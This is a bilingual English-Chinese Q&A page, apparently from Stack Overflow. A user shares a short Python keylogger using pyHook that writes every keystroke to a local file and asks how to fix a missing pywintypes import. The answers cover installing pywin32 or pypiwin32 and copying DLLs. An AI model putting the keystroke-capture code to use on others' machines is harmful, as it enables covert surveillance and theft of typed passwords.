Python 导入错误：没有名为 pywintypes 的模块
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ImportError: No module named pywintypes
提问by Eden Pigram
I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:
我正在使用 pyHook、pythoncom 和 Pywin32 模块使用 Python 制作一个小型键盘记录器。这是我的代码：
import pyHook, pythoncom, sys, logging
file_log = 'C:\important\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
When it runs, it returns this error message:
当它运行时，它返回此错误消息：
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
How do I fix this error?
我该如何解决这个错误？
回答by icktoofay
pywintypesis part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.
pywintypes是Python for Windows 扩展的一部分，也称为 pywin32。您需要安装它才能访问pywintypes.
Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.
请注意，在撰写本文时，pywin32的维护者并未将文件上传到 PyPI，因此您必须从http://pywin32.sf.net获取适当版本的安装程序。
回答by Mithilesh Gupta
pip install pypiwin32worked for me
pip install pypiwin32为我工作
回答by Abhishek D K
Just add pythoncom34.dll and pywintypes34.dll to your C:\Python34\
只需将 pythoncom34.dll 和 pywintypes34.dll 添加到您的 C:\Python34\
回答by trashvin
I know my answer is bit late but just run to this problem. Both pywin32 and pypiwin32 is installed on my virtualenv, my app is working fine during test. When I run pyinstaller to build my exe, this error showed up.
我知道我的回答有点晚了，但只是遇到了这个问题。pywin32 和 pypiwin32 都安装在我的 virtualenv 上，我的应用程序在测试期间运行良好。当我运行 pyinstaller 来构建我的 exe 时，出现了这个错误。
Solution: I needed to install (through pip) pywin32 and pypiwin32 on my base python env ( not the virtualenv) for pyinstaller to build my exe.
解决方案：我需要在我的基础 python env（不是 virtualenv）上安装（通过 pip）pywin32 和 pypiwin32，以便 pyinstaller 构建我的 exe。
回答by Wizhi
For me it worked to copy the files (pythoncom38.dll and pywintypes38.dll) from:
对我来说，它可以从以下位置复制文件（pythoncom38.dll 和 pywintypes38.dll）：
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\pywin32_system32
To the path:
到路径：
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32\lib
and
和
C:\Users\"Your user id"\AppData\Roaming\Python\Python38\site-packages\win32
